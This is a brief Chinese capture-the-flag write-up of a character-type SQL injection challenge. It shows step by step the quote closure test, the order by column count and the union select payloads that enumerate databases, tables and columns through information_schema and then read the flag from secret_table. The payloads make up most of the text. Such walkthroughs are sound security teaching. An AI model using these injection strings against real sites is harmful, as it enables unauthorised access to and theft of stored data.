
 一道简单的常规注入题,就当练练手了
 尝试’
 
 直接网页异常,尝试进行闭合#
 
 网页恢复正常,证明SQL语句通过单引号进行闭合,则为字符型注入
 直接判断字段数,order by n
 'order by 3#回显正常,'order by 4#网页异常,可以判断字符数为3
 
通过联合查询测试回显字段,由于只能查询单个结果,所以联合查询左边结果需为False
 'and 1=2 union select 1,2,3#
 
2、3字段存在回显,查询数据库版本以及当前网站数据库名
 'and 1=2 union select 1,version(),database()#
 
可知数据库版本为5.5.61,当前数据库名为news
 可以尝试查询所有数据库名
 'and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata#
 
查询当前网站数据库下的所有表
 'and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
 
可知当前数据库下存在news,secret_table表,news表应该是存放新闻的,可以查询下secret_table表下的所有字段
 'and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#
 
 直接查询fl4g字段内容,获取flag
 'and 1=2 union select 1,2,fl4g from secret_table#
 


















